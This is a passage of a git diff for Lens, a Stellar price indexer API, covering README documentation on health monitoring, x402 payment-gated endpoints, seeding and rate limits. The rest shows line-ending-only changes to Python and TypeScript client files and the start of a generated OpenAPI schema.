{ + "process": "healthy", + "data": "healthy" + }, + "process": { + "uptimeSeconds": 86420, + "memoryUsageMb": 18.42, + "status": "healthy" + }, + "data": { + "lastIndexedLedger": 53842917, + "lastProcessedAt": "2026-05-07T18:45:11.220Z", + "ingestLagSeconds": 4, + "isStale": false + }, + "watchedPairs": ["XLM:native/USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPP5RE34K4KZVN"], + "lastIndexedLedger": 53842917, + "lastProcessedAt": "2026-05-07T18:45:11.220Z", + "ingestLagSeconds": 4 +} +``` + +#### Health Differentiation & Paging Conditions +- **Process Health vs Data Health:** The HTTP status code distinguishes service availability from data staleness. + - `HTTP 200 OK` (`status: "healthy"`): Both process runtime and data feeds are functioning normally. + - `HTTP 200 OK` (`status: "degraded"`, `health.data: "stale"`): The API server is healthy and responding, but ingestion lag exceeds 300 seconds. **Do not page engineers for intermittent upstream ledger delays.** + - `HTTP 200 OK` (`status: "degraded"`, `health.process: "degraded"`): the port answers but boot has not finished, so not every ingester is running yet. Normal for the first seconds of a deploy — gate rollouts on `/ready`, which stays 503 until boot completes, rather than paging on this. + - `HTTP 503 Service Unavailable` (`pagingCondition: "DATABASE_DOWN"`): Critical infrastructure failure (e.g. Postgres is down or unreachable). **Uptime monitors should page on HTTP 503.** The body carries `error: "Database unavailable"` and nothing more — `/status` is public, so the driver's own message (which can contain the host, the user and the connection string) goes to the server log only. + +#### Monitoring Configuration Example (Datadog / Prometheus / BetterStack) +Configure your synthetic monitor / HTTP probe: +```yaml +# Prometheus Blackbox / Uptime monitor probe example +probe: + target: "http://lens-api.internal:3002/status?network=mainnet" + method: "GET" + expect_status: 200 + alert_conditions: + - severity: critical # Page on-call + condition: "status_code == 503 || body.pagingCondition == 'DATABASE_DOWN'" + - severity: warning # Slack notification only + condition: "body.health.data == 'stale' || body.data.ingestLagSeconds > 300" +``` + +### 2. Paid request without `X-PAYMENT` → `402` with payment requirements + +```bash +curl -i http://localhost:3002/price/XLM/USDC +# HTTP/1.1 402 Payment Required +# content-type: application/json +# +# { +# "x402Version": 1, +# "accepts": [ +# { +# "scheme": "exact", +# "price": "$0.10", +# "network": "stellar:testnet", +# "payTo": "G...your-oracle-address..." +# } +# ], +# "error": "Payment required", +# "description": "Unified SDEX+AMM price with VWAP and best route" +# } +``` + +The `accepts[]` array lists every payment requirement the server will honor. Sign one of them, encode as JSON, base64-encode, and resend with the `X-PAYMENT` header. + +### 3. Paid request with `X-PAYMENT` → `200` with price data + +```bash +# X-PAYMENT is base64(JSON(signed payment payload — see @x402/stellar)) +curl -H "X-PAYMENT: $(cat payment.b64)" \ + http://localhost:3002/price/XLM/USDC +# { +# "assetA": "XLM", +# "assetB": "USDC", +# "pairKey": "XLM:native/USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPP5RE34K4KZVN", +# "vwap1m": "0.12450000", +# "vwap1h": "0.12410000", +# "volume24h": "1284390.5500", +# "priceChange24h": "0.32", +# "bestRoute": "amm", +# "lastUpdated": "2026-05-07T18:46:02.114Z" +# } +``` + +### 4. Node.js — automatic payment with `@x402/fetch` + `@x402/stellar` + +`@x402/fetch` wraps the native `fetch` so a `402` is intercepted, signed, and retried automatically — your application code looks like a normal request. + +```bash +npm install @x402/fetch @x402/stellar +``` + +```typescript +import { wrapFetchWithPaymentFromConfig } from "@x402/fetch"; +import { ExactStellarScheme } from "@x402/stellar/exact/client"; +import { createEd25519Signer } from "@x402/stellar"; + +// 1. Sign with a Stellar testnet secret (S...). Fund via friendbot first. +const signer = createEd25519Signer( + process.env.STELLAR_SECRET!, // e.g. "SBN...FUNDED..." + "stellar:testnet", +); + +// 2. Wrap fetch — `stellar:*` matches both pubnet and testnet. +const fetchWithPayment = wrapFetchWithPaymentFromConfig(fetch, { + schemes: [ + { + network: "stellar:*", + client: new ExactStellarScheme(signer), + }, + ], +}); + +// 3. Call the gated endpoint. The 402 → sign → 200 dance is automatic. +const res = await fetchWithPayment("http://localhost:3002/price/XLM/USDC"); +const data = await res.json(); +console.log(`XLM/USDC VWAP-1h: ${data.vwap1h}`); +``` + +> **Mainnet:** swap `STELLAR_NETWORK=mainnet` on the server, point the +> client at `stellar:pubnet`, and supply a custom Soroban RPC URL via +> `new ExactStellarScheme(signer, { url: "https://your-rpc..." })`. +> Stellar payments use *ledger-based* expiration (~12 ledgers ≈ 60s), +> not timestamps. + +### 5. GraphQL price query + +```bash +curl -X POST http://localhost:3002/graphql \ + -H "Content-Type: application/json" \ + -d '{"query":"{ getPrice(assetA:\"XLM\", assetB:\"USDC\") { price vwap1h volume24h priceChange24h } }"}' +``` + +Or interactively at [http://localhost:3002/graphiql](http://localhost:3002/graphiql). + +> **Note:** the current `GATED_ROUTES` map in [`src/middleware/x402.ts`](src/middleware/x402.ts) gates `/price`, `/pools`, and `/candles` only — `/graphql` is not gated. If you intend price data from GraphQL to require the same payment as REST, extend `GATED_ROUTES` (or add a per-resolver guard). + +## TypeScript Client + +A typed TypeScript client is generated from [`openapi.yaml`](openapi.yaml) with +[`openapi-typescript`](https://github.com/openapi-ts/openapi-typescript) and +[`openapi-fetch`](https://github.com/openapi-ts/openapi-typescript/tree/main/packages/openapi-fetch). +It is committed at [`clients/typescript`](clients/typescript) — **no type is +hand-written**, so a change to the spec is a change to the client. + +```bash +# Regenerate clients/typescript/src/schema.d.ts from the spec +npm run client:gen + +# Type-check the generated client +npm run client:typecheck +``` + +CI runs `npm run client:gen` and fails if the committed client differs from the +regenerated output, so the client can never drift from `openapi.yaml`. + +```typescript +import { createLensClient } from "./clients/typescript/src/index.js"; + +const client = createLensClient({ baseUrl: "http://localhost:3002" }); + +const { data, error } = await client.GET("/price/{assetA}/{assetB}", { + params: { path: { assetA: "XLM", assetB: "USDC" } }, +}); +if (error) throw new Error(`request failed: ${error}`); + +// `data` is `AggregatedPrice`, derived from the spec. +console.log(`XLM/USDC vwap1h: ${data?.vwap1h}`); +``` + +A runnable version lives in +[`clients/typescript/src/example.ts`](clients/typescript/src/example.ts); run it +against a local server with `npx tsx clients/typescript/src/example.ts`. + +## Documentation +Detailed system design and data flow diagrams can be found in the [Architecture Overview](docs/architecture.md). +Lens also *publishes* prices: [`docs/sep40-oracle-publisher.md`](docs/sep40-oracle-publisher.md) covers the SEP-40 contract in `oracle/contract/`, the deviation-and-interval publication policy in `src/publish/`, deployment, and key handling. +The API specification is available in [OpenAPI 3.0 format](openapi.yaml) and is auto-published to GitHub Pages at https://miracle656.github.io/lens/openapi.json. + +Operators: start with the [Operations runbook](docs/RUNBOOK.md) — what runs, how each external dependency degrades, how to check ingestion health via `/status` and `/metrics`, the known failure modes with their symptoms, and deploy/rollback procedures. + +Operational docs: [HTTP metrics](docs/http-metrics.md), [ingest metrics](docs/ingest-metrics.md), [websocket backpressure](docs/websocket-backpressure.md), [health probes](docs/health.md), [GraphQL](docs/graphql.md). +The MCP server also advertises read-only [resources](docs/mcp-resources.md) — the watched pairs, venues, this OpenAPI document, and service status — each with a stable URI and freshness an agent can cache against. + +## Examples + +The [oracle relay example](examples/oracle-relay/README.md) shows a minimal Soroban contract plus a Node relay that reads Lens prices and pushes them on chain. + +The [price alert bot example](examples/alert-bot/README.md) shows an "if XLM > X notify me" bot built on the WebSocket price stream — see the [cookbook walkthrough](docs/cookbook/alert-bot.md). + +## Docker Quickstart +The fastest way to get Lens running locally is with Docker: + +```bash +# Start Lens, Postgres, and Redis +docker compose up -d + +# Check health +docker compose ps +``` +The API will be available at `http://localhost:3002`. Database migrations run automatically on startup. + +## Quick Start (Manual) + +```bash +# 1. Start PostgreSQL + Redis +docker-compose up -d + +# 2. Install dependencies +npm install + +# 3. Copy env +cp .env.example .env + +# 4. Apply database migrations +npm run db:deploy + +# 5. Seed the database with fixture data +npm run seed + +# 6. Start dev server +npm run dev +``` + +## Seed & Query + +A fresh clone gives an empty database — every price endpoint returns zeros and +you cannot tell working code from broken code. `npm run seed` writes +deterministic fixture data so the API is immediately usable. + +### What it seeds + +| Table | Rows per network | Description | +|---|---|---| +| `pair_configs` | 1 | Default pair registration so `/pairs` and `/price` resolve immediately | +| `price_points` | 36 (24 SDEX + 12 AMM) | Hourly SDEX trades and bi-hourly AMM trades over 24 h | +| `pool_snapshots` | 6 | AMM pool reserves every 4 h | +| `price_aggregates` | 49 (12×1m + 12×5m + 24×1h + 1×24h) | Pre-computed OHLCV buckets | + +Data is seeded for the default pair on each network: +- **testnet:** `XLM / USDC:GBBD47IF6LWK7P7MDEVSCWR7DPUWV3NY3DTQEVFL4NAT4AQH3ZLLFLA5` +- **mainnet:** `XLM / USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPP5RE34K4KZVN` + +### Usage + +```bash +# Seed both networks (default) +npm run seed + +# Seed a single network +npm run seed -- --network testnet +npm run seed -- --network mainnet +``` + +### Idempotency + +The seed guarantees idempotency by **converging to the same deterministic row set**. +Timestamps are anchored to the current UTC hour (`Math.floor(Date.now() / 3_600_000) * 3_600_000`), keeping fixture data fresh relative to `NOW()` (satisfying service-level queries bounded by 1 h / 24 h intervals). + +To prevent duplicate accumulation across runs while keeping timestamps fresh, re-seeding safely cleans up previously seed-owned rows (`where: { id: { startsWith: 'seed-' }, network }`) before inserting the fresh set. Default pair configs use `skipDuplicates: true` on `@@id([network, pairKey])` so existing pairs are preserved. + +``` +$ npm run seed + +🌱 Lens seed complete + + testnet (USDC:GBBD47IF6LWK7P7MDEVSCWR7DPUWV3NY3DTQEVFL4NAT4AQH3ZLLFLA5/XLM) + pair_configs 1 inserted (1 total) + price_points 36 inserted (36 total) + pool_snapshots 6 inserted (6 total) + price_aggregates 49 inserted (49 total) + + mainnet (USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPP5RE34K4KZVN/XLM) + pair_configs 1 inserted (1 total) + price_points 36 inserted (36 total) + pool_snapshots 6 inserted (6 total) + price_aggregates 49 inserted (49 total) + + ✅ testnet: 1 pair_configs, 36 price_points, 6 pool_snapshots, 49 price_aggregates + ✅ mainnet: 1 pair_configs, 36 price_points, 6 pool_snapshots, 49 price_aggregates + +$ npm run seed # re-seed: cleans seed rows & converges to the same row set + +🌱 Lens seed complete + + testnet (USDC:GBBD47IF6LWK7P7MDEVSCWR7DPUWV3NY3DTQEVFL4NAT4AQH3ZLLFLA5/XLM) + pair_configs 0 inserted (1 total) + price_points 36 inserted (36 total) + pool_snapshots 6 inserted (6 total) + price_aggregates 49 inserted (49 total) + + mainnet (USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPP5RE34K4KZVN/XLM) + pair_configs 0 inserted (1 total) + price_points 36 inserted (36 total) + pool_snapshots 6 inserted (6 total) + price_aggregates 49 inserted (49 total) + + ✅ testnet: 1 pair_configs, 36 price_points, 6 pool_snapshots, 49 price_aggregates + ✅ mainnet: 1 pair_configs, 36 price_points, 6 pool_snapshots, 49 price_aggregates +``` + +### Verify with the API + +After seeding, start the server (`npm run dev`) and confirm the endpoints +return real data: + +```bash +# /pairs — lists watched pairs with latest price +curl -s http://localhost:3002/pairs | jq '.pairs[0]' +# { +# "pairKey": "USDC:GBBD47IF6LWK7P7MDEVSCWR7DPUWV3NY3DTQEVFL4NAT4AQH3ZLLFLA5/XLM", +# "assetA": { "code": "XLM", "issuer": null }, +# "assetB": { "code": "USDC", "issuer": "GBBD47IF6LWK7P7MDEVSCWR7DPUWV3NY3DTQEVFL4NAT4AQH3ZLLFLA5" }, +# "latestPrice": 0.11906825, +# "lastUpdated": "" +# } + +# /pools — lists AMM pool snapshots +curl -s http://localhost:3002/pools | jq '.pools[0]' +# { +# "pool_id": "65c24738ce0ba076fd4f4d3b66618681ca1f9e9d78c95bb8db3a684a82bb3ee0", +# "asset_a": "XLM", +# "asset_b": "USDC", +# "reserve_a": 550000, +# "reserve_b": 66000, +# "spot_price": 0.12, +# "fee_bp": 30, +# "timestamp": "" +# } + +# /price/:assetA/:assetB — aggregated VWAP + best route +curl -s http://localhost:3002/price/XLM/USDC | jq '{price, ammPrice, lastUpdated}' +# { +# "price": 0.11906825, +# "ammPrice": 0.12, +# "lastUpdated": "" +# } +``` + +*(Note: timestamp values above reflect the dynamic hourly anchor at seed execution time and request time).* + + +## Rate Limiting & 429 Handling + +Lens enforces rate limits per client IP or authenticated API key to protect system throughput: + +| Tier / Endpoint | Window | Limit | +| :--- | :--- | :--- | +| **Public Unauthenticated (by IP)** | 1 minute | `100 requests` (`RATE_LIMITS.ipDefault`) | +| **Authenticated API Keys** | 1 minute | `1,000 requests` (`RATE_LIMITS.authenticatedDefault`) | +| **Public Health/Monitoring (`/status`)** | 1 minute | `1,000 requests` (`RATE_LIMITS.monitoring`) | + +### Handling 429 (Too Many Requests) +When a client exceeds their allowance, Lens replies with HTTP status `429 Too Many Requests`. + +1. **`Retry-After` Header:** Specifies the number of seconds to wait before retrying (e.g., `Retry-After: 42`). +2. **Standardized Error Body:** + ```json + { + "statusCode": 429, + "error": "Too Many Requests", + "code": "rate_limited", + "message": "Rate limit exceeded, retry in 42 seconds", + "retryAfter": 42 + } + ``` +Callers should parse the `Retry-After` header or `retryAfter` field and apply exponential backoff. + + +## Environment Variables + +| Variable | Description | Default | Required | +|---|---|---|---| +| `NODE_ENV` | Environment mode (`development`, `test`, `production`) | `development` | No | +| `PORT` | API server port | `3002` | No | +| `HOST` | API server host | `0.0.0.0` | No | +| `GLOBAL_RATE_LIMIT_MAX` | Maximum accepted non-health requests per rolling minute per instance | `1000` | No | +| `DATABASE_URL` | PostgreSQL connection string | - | **Yes** | +| `REDIS_URL` | Redis connection string | - | **Yes** | +| `PRICE_CACHE_TTL` | Cache duration for price data (seconds) | `10` | No | +| `HORIZON_URL` | Stellar Horizon server URL | - | No | +| `RPC_URL` | Soroban RPC server URL | - | No | +| `NETWORK_PASSPHRASE` | Stellar network passphrase | - | No | +| `STELLAR_NETWORK` | `mainnet` or `testnet` — this instance's default/ingested network | `testnet` | No | +| `POLL_INTERVAL_MS` | Indexer polling frequency (ms) | `5000` | No | +| `SDEX_PAGE_SIZE` | Trades per page for SDEX ingestion | `200` | No | +| `AMM_PAGE_SIZE` | Trades per page for AMM ingestion | `200` | No | +| `ADMIN_API_KEY` | Key for admin route authentication | - | No | +| `WATCHED_PAIRS` | Comma-separated list of asset pairs to index | - | **Yes** | +| `ORACLE_PAYMENT_ADDRESS` | Stellar address for x402 API payments | - | No* | +| `ORACLE_PAYMENT_ADDRESS_TESTNET` / `ORACLE_PAYMENT_ADDRESS_MAINNET` | Per-network override for the address above | - | No | +| `X402_FACILITATOR_URL` | x402 facilitator service URL | - | No | + +*\*Required if enabling x402 payment gating.* + +## Stack +- **Runtime:** Node.js 20 + TypeScript +- **API:** Fastify + Mercurius (GraphQL) +- **Database:** PostgreSQL + TimescaleDB +- **Cache:** Redis +- **Queue:** BullMQ +- **Stellar:** @stellar/stellar-sdk + + +### Deployed smoke check + +Run against a real running instance (local, staging or production): + +```bash +SMOKE_MAX_AGE_SECONDS=120 SMOKE_TIMEOUT_MS=8000 npm run smoke -- http://localhost:3002 +``` + +Validate the smoke checker itself with `npm run test:smoke`. + +The check requires public `/status`, `/live` and `/ready`, plus `/price/XLM/USDC`. It uses a +`graphql-transport-ws` live price subscription at `/graphql`. Both probes must be +present and healthy — a missing `/ready` fails the run rather than being skipped, +since a smoke check that silently tolerates an absent probe is how a deployment +ends up unmonitored while still green. It checks +indexer and trade freshness, validates price shape, and waits for a real +subscription event. It fails non-zero, naming the failing check, on timeout, +stale data, a missing message, or HTTP errors. No synthetic price events are +generated. On installations where x402 payment gates the price endpoint, +a normal unauthenticated call receives HTTP 402 and the smoke check fails; +it never bypasses payment requirements. A quiet pair without any new trades +will likewise fail the live-message requirement. diff --git a/clients/python/lens_client/__init__.py b/clients/python/lens_client/__init__.py index 1f8894e4..6eadd303 100644 --- a/clients/python/lens_client/__init__.py +++ b/clients/python/lens_client/__init__.py @@ -1,10 +1,10 @@ -from .client import LensClient -from .models import PriceResponse, RouteResponse, CandleResponse, OracleComparison - -__all__ = [ - "LensClient", - "PriceResponse", - "RouteResponse", - "CandleResponse", - "OracleComparison", -] +from .client import LensClient +from .models import PriceResponse, RouteResponse, CandleResponse, OracleComparison + +__all__ = [ + "LensClient", + "PriceResponse", + "RouteResponse", + "CandleResponse", + "OracleComparison", +] diff --git a/clients/python/lens_client/client.py b/clients/python/lens_client/client.py index 01035e63..9b8b444e 100644 --- a/clients/python/lens_client/client.py +++ b/clients/python/lens_client/client.py @@ -1,85 +1,85 @@ -import json -import urllib.request -import urllib.error -from typing import Optional -from .models import PriceResponse, RouteResponse, CandleResponse, OracleComparison - - -class LensClient: - """Minimal HTTP client for the Lens price indexer API. - - No third-party dependencies — uses only the Python standard library. - """ - - def __init__(self, base_url: str, timeout: int = 10): - self.base_url = base_url.rstrip('/') - self.timeout = timeout - - def _get(self, path: str) -> dict: - url = f"{self.base_url}{path}" - req = urllib.request.Request(url, headers={"Accept": "application/json"}) - with urllib.request.urlopen(req, timeout=self.timeout) as resp: - return json.loads(resp.read().decode()) - - def get_price(self, asset_a: str, asset_b: str) -> Optional[PriceResponse]: - """Return the latest aggregated price for a trading pair.""" - try: - data = self._get(f"/price/{asset_a}/{asset_b}") - return PriceResponse( - asset_a=data['assetA'], - asset_b=data['assetB'], - pair_key=data['pairKey'], - price=float(data['price']), - source=data.get('source', ''), - timestamp=data.get('timestamp', ''), - ) - except (urllib.error.HTTPError, KeyError): - return None - - def get_route(self, from_asset: str, to_asset: str, amount: float) -> Optional[RouteResponse]: - """Return the best swap route between two assets.""" - try: - data = self._get(f"/route/{from_asset}/{to_asset}?amount={amount}") - return RouteResponse( - path=data.get('path', []), - input_asset=data['inputAsset'], - output_asset=data['outputAsset'], - estimated_output=float(data['estimatedOutput']), - ) - except (urllib.error.HTTPError, KeyError): - return None - - def get_candles(self, asset_a: str, asset_b: str, interval: str = '1h', limit: int = 24) -> list: - """Return OHLCV candles for a pair.""" - try: - data = self._get(f"/candles/{asset_a}/{asset_b}?interval={interval}&limit={limit}") - candles = data if isinstance(data, list) else data.get('candles', []) - return [ - CandleResponse( - pair_key=c.get('pairKey', ''), - open=float(c['open']), - high=float(c['high']), - low=float(c['low']), - close=float(c['close']), - volume=float(c.get('volume', 0)), - timestamp=c.get('timestamp', ''), - ) - for c in candles - ] - except (urllib.error.HTTPError, KeyError): - return [] - - def compare_oracle(self, asset: str) -> Optional[OracleComparison]: - """Compare Lens price vs Reflector oracle for an asset.""" - try: - data = self._get(f"/compare/{asset}") - return OracleComparison( - asset=data['asset'], - lens=data.get('lens'), - reflector=data.get('reflector'), - deviation_pct=data.get('deviationPct'), - status=data.get('status', 'unknown'), - fetched_at=data.get('fetchedAt', ''), - ) - except urllib.error.HTTPError: - return None +import json +import urllib.request +import urllib.error +from typing import Optional +from .models import PriceResponse, RouteResponse, CandleResponse, OracleComparison + + +class LensClient: + """Minimal HTTP client for the Lens price indexer API. + + No third-party dependencies — uses only the Python standard library. + """ + + def __init__(self, base_url: str, timeout: int = 10): + self.base_url = base_url.rstrip('/') + self.timeout = timeout + + def _get(self, path: str) -> dict: + url = f"{self.base_url}{path}" + req = urllib.request.Request(url, headers={"Accept": "application/json"}) + with urllib.request.urlopen(req, timeout=self.timeout) as resp: + return json.loads(resp.read().decode()) + + def get_price(self, asset_a: str, asset_b: str) -> Optional[PriceResponse]: + """Return the latest aggregated price for a trading pair.""" + try: + data = self._get(f"/price/{asset_a}/{asset_b}") + return PriceResponse( + asset_a=data['assetA'], + asset_b=data['assetB'], + pair_key=data['pairKey'], + price=float(data['price']), + source=data.get('source', ''), + timestamp=data.get('timestamp', ''), + ) + except (urllib.error.HTTPError, KeyError): + return None + + def get_route(self, from_asset: str, to_asset: str, amount: float) -> Optional[RouteResponse]: + """Return the best swap route between two assets.""" + try: + data = self._get(f"/route/{from_asset}/{to_asset}?amount={amount}") + return RouteResponse( + path=data.get('path', []), + input_asset=data['inputAsset'], + output_asset=data['outputAsset'], + estimated_output=float(data['estimatedOutput']), + ) + except (urllib.error.HTTPError, KeyError): + return None + + def get_candles(self, asset_a: str, asset_b: str, interval: str = '1h', limit: int = 24) -> list: + """Return OHLCV candles for a pair.""" + try: + data = self._get(f"/candles/{asset_a}/{asset_b}?interval={interval}&limit={limit}") + candles = data if isinstance(data, list) else data.get('candles', []) + return [ + CandleResponse( + pair_key=c.get('pairKey', ''), + open=float(c['open']), + high=float(c['high']), + low=float(c['low']), + close=float(c['close']), + volume=float(c.get('volume', 0)), + timestamp=c.get('timestamp', ''), + ) + for c in candles + ] + except (urllib.error.HTTPError, KeyError): + return [] + + def compare_oracle(self, asset: str) -> Optional[OracleComparison]: + """Compare Lens price vs Reflector oracle for an asset.""" + try: + data = self._get(f"/compare/{asset}") + return OracleComparison( + asset=data['asset'], + lens=data.get('lens'), + reflector=data.get('reflector'), + deviation_pct=data.get('deviationPct'), + status=data.get('status', 'unknown'), + fetched_at=data.get('fetchedAt', ''), + ) + except urllib.error.HTTPError: + return None diff --git a/clients/python/lens_client/models.py b/clients/python/lens_client/models.py index a2b8da90..ab290fb3 100644 --- a/clients/python/lens_client/models.py +++ b/clients/python/lens_client/models.py @@ -1,41 +1,41 @@ -from dataclasses import dataclass -from typing import Optional - - -@dataclass -class PriceResponse: - asset_a: str - asset_b: str - pair_key: str - price: float - source: str - timestamp: str - - -@dataclass -class RouteResponse: - path: list - input_asset: str - output_asset: str - estimated_output: float - - -@dataclass -class CandleResponse: - pair_key: str - open: float - high: float - low: float - close: float - volume: float - timestamp: str - - -@dataclass -class OracleComparison: - asset: str - lens: Optional[float] - reflector: Optional[float] - deviation_pct: Optional[float] - status: str - fetched_at: str +from dataclasses import dataclass +from typing import Optional + + +@dataclass +class PriceResponse: + asset_a: str + asset_b: str + pair_key: str + price: float + source: str + timestamp: str + + +@dataclass +class RouteResponse: + path: list + input_asset: str + output_asset: str + estimated_output: float + + +@dataclass +class CandleResponse: + pair_key: str + open: float + high: float + low: float + close: float + volume: float + timestamp: str + + +@dataclass +class OracleComparison: + asset: str + lens: Optional[float] + reflector: Optional[float] + deviation_pct: Optional[float] + status: str + fetched_at: str diff --git a/clients/python/setup.py b/clients/python/setup.py index fb50475a..002d837e 100644 --- a/clients/python/setup.py +++ b/clients/python/setup.py @@ -1,13 +1,13 @@ -from setuptools import setup, find_packages - -setup( - name="lens-py", - version="0.1.0", - description="Python client for the Lens Stellar price indexer API", - packages=find_packages(), - python_requires=">=3.9", - classifiers=[ - "Programming Language :: Python :: 3", - "License :: OSI Approved :: MIT License", - ], -) +from setuptools import setup, find_packages + +setup( + name="lens-py", + version="0.1.0", + description="Python client for the Lens Stellar price indexer API", + packages=find_packages(), + python_requires=">=3.9", + classifiers=[ + "Programming Language :: Python :: 3", + "License :: OSI Approved :: MIT License", + ], +) diff --git a/clients/typescript/src/client.ts b/clients/typescript/src/client.ts index 5aedab7e..f5e79bf7 100644 --- a/clients/typescript/src/client.ts +++ b/clients/typescript/src/client.ts @@ -1,23 +1,23 @@ -import createClient, { type Client, type ClientOptions } from "openapi-fetch"; -import type { paths } from "./schema.js"; - -export type { paths } from "./schema.js"; - -export type LensClient = Client; - -export type LensClientOptions = Omit & { - baseUrl?: string; - fetch?: typeof globalThis.fetch; -}; - -export const DEFAULT_BASE_URL = "http://localhost:3002"; - -export function createLensClient( - options: LensClientOptions = {}, -): LensClient { - return createClient({ - baseUrl: options.baseUrl ?? DEFAULT_BASE_URL, - fetch: options.fetch, - headers: options.headers, - }); -} +import createClient, { type Client, type ClientOptions } from "openapi-fetch"; +import type { paths } from "./schema.js"; + +export type { paths } from "./schema.js"; + +export type LensClient = Client; + +export type LensClientOptions = Omit & { + baseUrl?: string; + fetch?: typeof globalThis.fetch; +}; + +export const DEFAULT_BASE_URL = "http://localhost:3002"; + +export function createLensClient( + options: LensClientOptions = {}, +): LensClient { + return createClient({ + baseUrl: options.baseUrl ?? DEFAULT_BASE_URL, + fetch: options.fetch, + headers: options.headers, + }); +} diff --git a/clients/typescript/src/example.ts b/clients/typescript/src/example.ts index f87a9278..ba3762b9 100644 --- a/clients/typescript/src/example.ts +++ b/clients/typescript/src/example.ts @@ -1,56 +1,56 @@ -/** - * Example: typed Lens client usage. - * - * Every request and response type below comes from `schema.d.ts`, which is - * generated from `openapi.yaml` by `npm run client:gen`. Nothing here is - * hand-maintained, so a spec change shows up as a type error at compile time. - * - * Run it against a local server with: - * - * npx tsx clients/typescript/src/example.ts - */ -import { createLensClient, type paths } from "./client.js"; - -/** A price response, derived from the spec — never written by hand. */ -type AggregatedPrice = paths["/price/{assetA}/{assetB}"]["get"]["responses"][200]["content"]["application/json"]; - -const client = createLensClient({ baseUrl: "http://localhost:3002" }); - -async function main(): Promise { - const status = await client.GET("/status"); - if (status.error) { - throw new Error(`GET /status failed with ${status.response.status}`); - } - console.log(`watching ${status.data.watchedPairs?.length ?? 0} pairs`); - console.log(`last indexed ledger: ${status.data.lastIndexedLedger}`); - - const price = await client.GET("/price/{assetA}/{assetB}", { - params: { path: { assetA: "XLM", assetB: "USDC" } }, - }); - if (price.error) { - throw new Error(`GET /price failed with ${price.response.status}`); - } - - const data: AggregatedPrice | undefined = price.data; - if (!data) { - throw new Error("GET /price returned no body"); - } - console.log(`XLM/USDC best route: ${data.bestRoute}`); - console.log(`XLM/USDC vwap1h: ${data.vwap1h}`); - - const snapshots = await client.GET("/prices/history", { - params: { query: { pair: "XLM/USDC", interval: "1h" } }, - }); - if (snapshots.error) { - throw new Error(`GET /prices/history failed with ${snapshots.response.status}`); - } - // This route answers text/csv as well as application/json, so the generated - // types give a union of `string | { count?: number, ... }` and a field read - // has to narrow first. That the compiler insists on it is the point of - // generating the client from the spec rather than hand-writing it. - const body = snapshots.data; - const count = typeof body === "object" && body !== null ? (body.count ?? 0) : 0; - console.log(`${count} snapshots returned`); -} - -void main(); +/** + * Example: typed Lens client usage. + * + * Every request and response type below comes from `schema.d.ts`, which is + * generated from `openapi.yaml` by `npm run client:gen`. Nothing here is + * hand-maintained, so a spec change shows up as a type error at compile time. + * + * Run it against a local server with: + * + * npx tsx clients/typescript/src/example.ts + */ +import { createLensClient, type paths } from "./client.js"; + +/** A price response, derived from the spec — never written by hand. */ +type AggregatedPrice = paths["/price/{assetA}/{assetB}"]["get"]["responses"][200]["content"]["application/json"]; + +const client = createLensClient({ baseUrl: "http://localhost:3002" }); + +async function main(): Promise { + const status = await client.GET("/status"); + if (status.error) { + throw new Error(`GET /status failed with ${status.response.status}`); + } + console.log(`watching ${status.data.watchedPairs?.length ?? 0} pairs`); + console.log(`last indexed ledger: ${status.data.lastIndexedLedger}`); + + const price = await client.GET("/price/{assetA}/{assetB}", { + params: { path: { assetA: "XLM", assetB: "USDC" } }, + }); + if (price.error) { + throw new Error(`GET /price failed with ${price.response.status}`); + } + + const data: AggregatedPrice | undefined = price.data; + if (!data) { + throw new Error("GET /price returned no body"); + } + console.log(`XLM/USDC best route: ${data.bestRoute}`); + console.log(`XLM/USDC vwap1h: ${data.vwap1h}`); + + const snapshots = await client.GET("/prices/history", { + params: { query: { pair: "XLM/USDC", interval: "1h" } }, + }); + if (snapshots.error) { + throw new Error(`GET /prices/history failed with ${snapshots.response.status}`); + } + // This route answers text/csv as well as application/json, so the generated + // types give a union of `string | { count?: number, ... }` and a field read + // has to narrow first. That the compiler insists on it is the point of + // generating the client from the spec rather than hand-writing it. + const body = snapshots.data; + const count = typeof body === "object" && body !== null ? (body.count ?? 0) : 0; + console.log(`${count} snapshots returned`); +} + +void main(); diff --git a/clients/typescript/src/index.ts b/clients/typescript/src/index.ts index e2cdef67..50db77f6 100644 --- a/clients/typescript/src/index.ts +++ b/clients/typescript/src/index.ts @@ -1,3 +1,3 @@ -export { createLensClient, DEFAULT_BASE_URL } from "./client.js"; -export type { LensClient, LensClientOptions, paths } from "./client.js"; -export type { components, operations, $defs } from "./schema.js"; +export { createLensClient, DEFAULT_BASE_URL } from "./client.js"; +export type { LensClient, LensClientOptions, paths } from "./client.js"; +export type { components, operations, $defs } from "./schema.js"; diff --git a/clients/typescript/src/schema.d.ts b/clients/typescript/src/schema.d.ts index 7c96b514..8f2c47ac 100644 --- a/clients/typescript/src/schema.d.ts +++ b/clients/typescript/src/schema.d.ts @@ -1,3105 +1,3105 @@ -/** - * This file was auto-generated by openapi-typescript. - * Do not make direct changes to the file. - */ - -export interface paths { - "/venues/registry": { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - /** - * List registered venues and their network liveness - * @description Returns each registered venue adapter for the selected network. Liveness is based on recent price writes where available; on-demand adapters without persisted price points report unknown. - */ - get: operations["getVenueRegistry"]; - put?: never; - post?: never; - delete?: never; - options?: never; - head?: never; - patch?: never; - trace?: never; - }; - "/live": { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - /** - * Liveness probe - * @description Reports whether this process is wedged and needs to be restarted. It checks no dependencies by design: a process that cannot reach Postgres is still healthy and should keep running, so failing liveness during a database outage would restart every instance at once. Use `/ready` to decide whether to send traffic. - */ - get: operations["getLive"]; - put?: never; - post?: never; - delete?: never; - options?: never; - head?: never; - patch?: never; - trace?: never; - }; - "/tvl": { - parameters: { - query?: never; - header?: never; - path?: never; - cookie?: never; - }; - /** - * Total Value Locked across Stellar DeFi venues - * @description Aggregates Total Value Locked (TVL) in USD across Stellar Classic AMM, Soroswap, and Aquarius. Reports totals, breakdown by venue, breakdown by asset with valuation sources named, and marks pools with unpriceable assets as unpriced rather than zero. Querying `?history=true` returns historical hourly TVL samples. - */ - get: operations["getTvl"]; - put?: never; - post?: never; - 